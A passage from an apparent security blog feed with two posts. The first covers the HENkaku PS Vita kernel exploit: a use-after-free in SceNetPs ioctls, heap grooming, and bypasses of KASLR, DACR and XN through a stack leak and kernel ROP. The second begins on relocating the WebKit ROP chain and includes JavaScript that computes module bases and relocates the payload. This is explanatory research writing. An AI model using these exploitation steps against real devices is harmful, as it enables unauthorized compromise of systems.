&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;vptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;fptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;vptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;+--------------------------------------------+&lt;/span&gt;
                                                     &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Spoiler Alert: we're going to gain control over this pointer&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We’re at the end now, time to free allocated heap memory, unlock the mutex and return the result error code to the caller:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x40000000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memsz&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k2u_copy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;umem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memsz&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// args = src, dst, size&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;heapmem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sce_psnet_bnet_mutex_unlock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;g_network_mutex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now that we’re done with the boring description of how SceNetPs ioctls work, let’s get to the fun part.&lt;/p&gt;

&lt;h1 id=&quot;the-bug&quot;&gt;The bug&lt;/h1&gt;

&lt;p&gt;There are multiple problems in this code that eventually lead to code execution:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;no reference counting!&lt;/strong&gt; what if our poor socket gets freed during the operation of ioctl? This is the real bug which results in UaF, however, it helps that:&lt;/li&gt;
  &lt;li&gt;the heap free check is insufficient: it checks for five blocks sized &amp;gt;=0x800 but we can cause an allocation of 0x1FFF bytes at most&lt;/li&gt;
  &lt;li&gt;when malloc function is unable to fulfill a request, instead of returning NULL, it will wait for more memory to become available (due to Vita analogue of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;KM_SLEEP&lt;/code&gt; param passed to it)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Of course, before malloc goes to sleep, it also unlocks the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;g_network_mutex&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;N.B. the bug is strictly Vita-only, other implementations (NetBSD, OpenBSD) do proper reference counting.&lt;/p&gt;

&lt;h1 id=&quot;exploit&quot;&gt;Exploit&lt;/h1&gt;

&lt;p&gt;So here’s our exploitation strategy:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;span class=&quot;first-thread&quot;&gt;thread #1&lt;/span&gt;: Allocate a socket&lt;/li&gt;
  &lt;li&gt;&lt;span class=&quot;first-thread&quot;&gt;thread #1&lt;/span&gt;: Fill up &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SceNetPs&lt;/code&gt; heap memory&lt;/li&gt;
  &lt;li&gt;&lt;span class=&quot;first-thread&quot;&gt;thread #1&lt;/span&gt;: Call an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ioctl&lt;/code&gt; on the socket. Now this thread will wait for heap memory to become available&lt;/li&gt;
  &lt;li&gt;&lt;span class=&quot;second-thread&quot;&gt;thread #2&lt;/span&gt;: Free the socket&lt;/li&gt;
  &lt;li&gt;&lt;span class=&quot;second-thread&quot;&gt;thread #2&lt;/span&gt;: Overwrite freed socket memory with controlled data&lt;/li&gt;
  &lt;li&gt;&lt;span class=&quot;second-thread&quot;&gt;thread #2&lt;/span&gt;: Free &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SceNetPs&lt;/code&gt; heap memory so that the first thread wakes up.&lt;/li&gt;
  &lt;li&gt;&lt;span class=&quot;first-thread&quot;&gt;thread #1&lt;/span&gt;: Code exec!&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;allocate-a-socket&quot;&gt;&lt;span class=&quot;first-thread&quot;&gt;allocate a socket&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;This is harder than it sounds. The reason is that SceNetPs uses a memory pool, a single-linked list of free blocks of the same size, to allocate sockets. However:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;When the pool is full, instead of adding a freed socket’s memory to the pool, it calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;free()&lt;/code&gt; on it.&lt;/li&gt;
  &lt;li&gt;When the pool is empty, instead of allocating new socket from the pool, it calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;malloc()&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Since we want to overwrite socket structure with controlled memory (i.e. with not-a-socket), we need to maintain these condition:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;before allocating our socket, empty the pool by allocating a lot of sockets&lt;/li&gt;
  &lt;li&gt;before freeing the socket, fill up the pool by freeing a lot of sockets&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;fill-up-heap-memory&quot;&gt;&lt;span class=&quot;first-thread&quot;&gt;fill up heap memory&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;The best primitive I was able to find that can be used to fill up the heap is a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dump&lt;/code&gt;. For our exploit its real purpose doesn’t matter. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;int sceNetDumpCreate(char *name, int len, int flags)&lt;/code&gt; function eventually leads to a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dump = malloc(len + 0x40)&lt;/code&gt; which is perfect for filling up the heap.&lt;/p&gt;

&lt;p&gt;It should be noted that we also need to make at least 5 holes sized 0x800, in order for the heap free check to pass. This is achieved in the HENkaku exploit by allocating 10 dumps sized 0xF00 and then freeing even ones (0th, 2nd, 4th, 6th, …).&lt;/p&gt;

&lt;h2 id=&quot;call-an-ioctl&quot;&gt;&lt;span class=&quot;first-thread&quot;&gt;call an ioctl&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Self-descriptive. Just call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sceNetIoctl&lt;/code&gt; with proper arguments, making sure the ioctl number is invalid so that instead of a generic function, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fptr&lt;/code&gt; gets called, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;memsz&lt;/code&gt; is 0x1FFF, the largest allowed value.&lt;/p&gt;

&lt;p&gt;Since we’ve ensured there’s not enough heap memory to allocate a single block of 0x1FFF bytes, this thread is now sleeping and waiting for more kernel heap memory to become available.&lt;/p&gt;

&lt;h2 id=&quot;free-the-socket&quot;&gt;&lt;span class=&quot;second-thread&quot;&gt;free the socket&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Now that the first thread has fallen asleep, unlocking &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;g_network_mutex&lt;/code&gt; in the process, the second thread can free the socket the ioctl is operating on right now.&lt;/p&gt;

&lt;h2 id=&quot;overwrite-memory-with-controlled-data&quot;&gt;&lt;span class=&quot;second-thread&quot;&gt;overwrite memory with controlled data&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;For that, I’ve used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sceNetControl(int a1, int a2, void *ubuf, int argsize)&lt;/code&gt;. When passed proper flags, it will allocate a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer = malloc(argsize)&lt;/code&gt; and then copy in user data. At the end of the function, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer&lt;/code&gt; is freed but it doesn’t really matter because &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;free()&lt;/code&gt; doesn’t destroy our data.&lt;/p&gt;

&lt;p&gt;With an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;argsize&lt;/code&gt; that matches the socket object size and proper kernel heap spraying, the allocated buffer will have the same address as the freed socket.&lt;/p&gt;

&lt;h2 id=&quot;free-heap-memory&quot;&gt;&lt;span class=&quot;second-thread&quot;&gt;free heap memory&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Just free some of the dumps allocated in the second step. When there’s a contiguous block of 0x1FFF free bytes available, the first thread will wake up and give us …&lt;/p&gt;

&lt;h2 id=&quot;code-exec&quot;&gt;&lt;span class=&quot;first-thread&quot;&gt;code exec&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Since we control the whole socket struct, we can set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vptr&lt;/code&gt; to whatever value we’d like, and as such gain control over &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fptr&lt;/code&gt; as well. However! There are some exploit mitigations that we still have to bypass.&lt;/p&gt;

&lt;h1 id=&quot;bypassing-the-mitigations&quot;&gt;Bypassing the mitigations&lt;/h1&gt;

&lt;h2 id=&quot;kaslr--smepsmap-like&quot;&gt;KASLR &amp;amp; SMEP/SMAP-like&lt;/h2&gt;

&lt;p&gt;Vita’s architecture is ARM which doesn’t have anything named SMEP or SMAP, however these terms are widely used and understood. (On Vita such functionality is implemented using the Domain Access Control Register).&lt;/p&gt;

&lt;p&gt;Basically:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;the kernel cannot execute user executable code&lt;/li&gt;
  &lt;li&gt;the kernel cannot read or write user memory (outside of utility functions specifically made for that purpose)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As a result, we cannot just point &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vptr&lt;/code&gt; into user memory, or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fptr&lt;/code&gt; into user code.&lt;/p&gt;

&lt;p&gt;We bypass both KASLR &amp;amp; DACR protections with one kernel stack disclosure in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sceIoDevctl&lt;/code&gt; system call:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;to bypass KASLR, leak a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SceSysmem&lt;/code&gt; address&lt;/li&gt;
  &lt;li&gt;to bypass DACR, leak kernel thread stack base. Then plant our data into the kernel stack&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The same &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sceIoDevctl&lt;/code&gt; system call with different arguments is used for planting data into the kernel stack.&lt;/p&gt;

&lt;h2 id=&quot;xnnx&quot;&gt;XN/NX&lt;/h2&gt;

&lt;p&gt;Now that we have our data in the kernel space, to bypass the execute never bit (only executable memory can be executed), build a ROP chain in kernel space and pivot to it.&lt;/p&gt;

&lt;p&gt;Since we’ve only leaked SceSysmem base, we can only use gadgets from that kernel module, but that’s more than enough.&lt;/p&gt;

&lt;h1 id=&quot;thats-it&quot;&gt;That’s it&lt;/h1&gt;

&lt;p&gt;You can find source code for the exploit &lt;a href=&quot;https://github.com/henkaku/henkaku/blob/stage-2/urop/exploit.rop.in&quot;&gt;here&lt;/a&gt;. Bring your own kernel ROP chain.&lt;/p&gt;
</description>
        <pubDate>Tue, 30 Aug 2016 13:37:00 -0400</pubDate>
        <link>https://blog.xyz.is/2016/vita-netps-ioctl.html</link>
        <guid isPermaLink="true">https://blog.xyz.is/2016/vita-netps-ioctl.html</guid>
        
        
      </item>
    
      <item>
        <title>On HENkaku offline installer</title>
        <description>&lt;p&gt;This is a fairly technical post. If you don’t know what ROP or ASLR is, you probably won’t enjoy it. Proceed with caution!&lt;/p&gt;

&lt;h1 id=&quot;the-problem&quot;&gt;The problem&lt;/h1&gt;

&lt;p&gt;After exploiting WebKit on PS Vita we can only execute code via ROP. There’s no way to map executable memory. Due to its nature, a ROP chain depends on where executable code is loaded. Since Vita implements ASLR, we cannot just hardcode a ROP chain, we have to &lt;em&gt;relocate&lt;/em&gt; it. As in: rewrite ROP gadget addresses with their actual positions in memory.&lt;/p&gt;

&lt;h1 id=&quot;rop-relocations&quot;&gt;ROP relocations&lt;/h1&gt;

&lt;p&gt;Let’s talk about how relocations are done in the HENkaku exploit.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/henkaku-offline/rop-relocations.svg&quot; alt=&quot;ROP relocations before/after relocating. I feel sorry for you if you have images disabled.&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;On the left is a ROP chain how it’s stored in the file. There’s a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data&lt;/code&gt; section (constant strings and buffers), a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;code&lt;/code&gt; section (ROP stack) and a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reloc&lt;/code&gt; section (just numbers).&lt;/p&gt;

&lt;p&gt;On the right is a ROP chain how it’s written into the stack. For our purposes it’s enough for relocations to simply add a value (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SceWebKit_base&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SceLibc_base&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rop_data_base&lt;/code&gt;) to a rop code word (a word is 4 bytes). Also remember that data section can be stored elsewhere.&lt;/p&gt;

&lt;p&gt;So initially I did all relocations in JavaScript, like this:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;SceWebKit_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;textareavptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xabb65c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;SceLibc_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;read_mov_r12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SceWebKit_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x85F504&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xfa49&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;SceLibKernel_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;read_mov_r12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SceWebKit_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x85F464&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x9031&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;ScePsp2Compat_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;read_mov_r12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SceWebKit_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x85D2E4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x22d65&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;SceWebFiltering_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;read_mov_r12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ScePsp2Compat_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x2c688c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x9e5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;SceLibHttp_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;read_mov_r12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SceWebFiltering_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x3bc4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xdc2d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;SceNet_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;read_mov_r12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SceWebKit_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x85F414&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x23ED&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;SceNetCtl_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;read_mov_r12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SceLibHttp_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x18BF4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xD59&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;SceAppMgr_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;read_mov_r12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SceNetCtl_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x9AB8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x49CD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// snip&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;rop_header_and_data_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;rop_code_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;switch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;relocs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;rop_data_base&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;SceWebKit_base&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
